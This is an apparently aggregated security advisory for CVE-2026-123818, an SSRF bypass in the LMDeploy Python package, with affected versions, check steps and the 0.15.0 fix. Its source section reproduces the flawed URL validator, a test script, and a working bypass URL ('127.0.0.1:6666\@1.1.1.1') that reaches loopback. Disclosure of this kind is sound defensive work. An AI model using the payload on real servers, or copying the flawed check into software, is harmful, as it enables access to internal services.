---
id: "CVE-2026-123818"
page: "https://infrastack.ai/live/CVE-2026-123818"
kind: "vulnerability"
aliases: ["CVE-2026-123818", "GHSA-39wr-7q6h-cf68"]
title: "LMDeploy has an SSRF bypass"
severity: "high"
cvss: 7.5
epss: null
exploited: false
status: "open"
category: "package"
products: [{"name": "lmdeploy", "fixed": ["0.15.0"], "affected": ">= 0.12.3, < 0.15.0", "ecosystem": "pypi"}]
ecosystems: ["pypi"]
tags: ["cwe-436", "cwe-918", "lmdeploy", "package", "python", "self-hosted"]
not_affected_if: ["no-user-supplied-urls", "version-0.15.0-or-later"]
published_at: "2026-09-18T17:14:06+00:00"
first_seen_at: "2026-11-09T21:24:42+00:00"
updated_at: "2026-11-09T21:25:13+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-39wr-7q6h-cf68", "first_seen_at": "2026-11-09T21:24:42+00:00"}]
exploit_sources: []
---

# LMDeploy has an SSRF bypass

Link for people: https://infrastack.ai/live/CVE-2026-123818 (this .md is for agents)

LMDeploy's URL safety check parses a crafted URL to a public host, while the HTTP client connects to a loopback address, so a remote attacker can make the server fetch internal resources (SSRF). The impact stated in the advisory is server-side request forgery.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:lmdeploy affected >= 0.12.3, < 0.15.0 fixed 0.15.0

## How to check

- Check the installed version: `pip show lmdeploy`
- Look for calls to `_is_safe_url` followed by `requests` fetches on user-supplied URLs in your LMDeploy deployment
- Confirm whether the service accepts URLs from untrusted input

## Fix

- `lmdeploy` `0.15.0` (fixed version per the product data; affected range `>= 0.12.3, < 0.15.0`)

## Timeline

- 2026-11-09T21:24:42+00:00 ghsa https://github.com/advisories/GHSA-39wr-7q6h-cf68

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/InternLM/lmdeploy/security-advisories/GHSA-39wr-7q6h-cf68
- [advisory] Maintainer's advisory: github.com https://github.com/InternLM/lmdeploy/security/advisories/GHSA-39wr-7q6h-cf68
- [fix] Release: github.com https://github.com/InternLM/lmdeploy/releases/tag/v0.15.0

## From the sources

### Summary
The URL checking logic in lmdeploy has a logical flaw that could be bypassed by attackers, leading to SSRF attacks.

### Details
The current lmdeploy project uses `_is_safe_url` to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks.
<img width="943" height="836" alt="QQ20260416-203956-16-1" src="https://github.com/user-attachments/assets/042faad1-7458-444a-bbc9-525c772b0a4d" />
However, there are indeed differences in parsing between urlparse and the library that actually sends the request. Currently, almost all application scenarios in this project involve first using `_is_safe_url` for URL validation, and then using requests.Session().get to send the request.
<img width="1086" height="576" alt="QQ20260416-204053-16-2" src="https://github.com/user-attachments/assets/7ffb8a69-b155-483a-90be-016c53e6387a" />
The core issue: `urlparse()` and `requests` disagree on which host a URL like `http://127.0.0.1:6666\@1.1.1.1` points to:

- `urlparse()` treats `\` as a regular character and `@` as the userinfo-host delimiter, so it extracts hostname as 1.1.1.1 (public)
- `requests` treats `\` as a path character, connecting to `127.0.0.1` (internal)

Below is a test code I wrote following the code.
```
from urllib.parse import urlparse
import ipaddress
import socket
import requests


def _is_safe_url(url: str) -> tuple[bool, str]:
    """Check if the URL is safe to fetch (not internal/private)."""
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ("http", "https"):
            return False, f"Unsupported scheme: {parsed.scheme}"

        hostname = parsed.hostname
        if not hostname:
            return False, "Could not parse hostname from URL"

        # check all IPs (IPv4 + IPv6) using getaddrinfo
        try:
            infos = socket.getaddrinfo(hostname, None)
        except socket.gaierror:
            return False, "Hostname resolution failed"

        for info in infos:
            ip = ipaddress.ip_address(info[4][0])
            # block any IP that is not globally routable (covers private, loopback,
            # link-local, multicast, reserved, unspecified, etc.)
            if not ip.is_global:
                return False, f"Blocked non-global IP detected: {ip}"

        return True, "URL is safe"
    except Exception as e:
        return False, f"URL validation failed: {str(e)}"


# url = "http://127.0.0.1:6666"
url = "http://127.0.0.1:6666\@1.1.1.1"
is_safe, reason = _is_safe_url(url)
if not is_safe:
    raise ValueError(f"URL is blocked for security reasons: {reason}")

fetch_timeout = 10

client = requests.Session()
client.max_redirects = 3
response = client.get(url, timeout=fetch_timeout, allow_redirects=True)
```
When an attacker uses http://127.0.0.1:6666/, the existing detection logic can detect that this is an internal network address and block it.
<img width="1286" height="195" alt="QQ20260416-204234-16-3" src="https://github.com/user-attachments/assets/b921ff01-3b9f-49a5-a410-bd21fe42f9c9" />
However, when an attacker uses `http://127.0.0.1:6666\@1.1.1.1`, the detection logic resolves the host to `1.1.1.1`, which is a public IP address, thus passing the verification. But in the actual request process, this URL is forwarded by requests.get to `http://127.0.0.1:6666/`, bypassing the detection and achieving an SSRF attack.

<img width="2064" height="154" alt="QQ20260416-204319-16-4" src="https://github.com/user-attachments/assets/5da18f35-f400-46e6-9bf3-1330ba424b02" />

### PoC
```
http://127.0.0.1:6666\@1.1.1.1
```

### Impact
SSRF

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_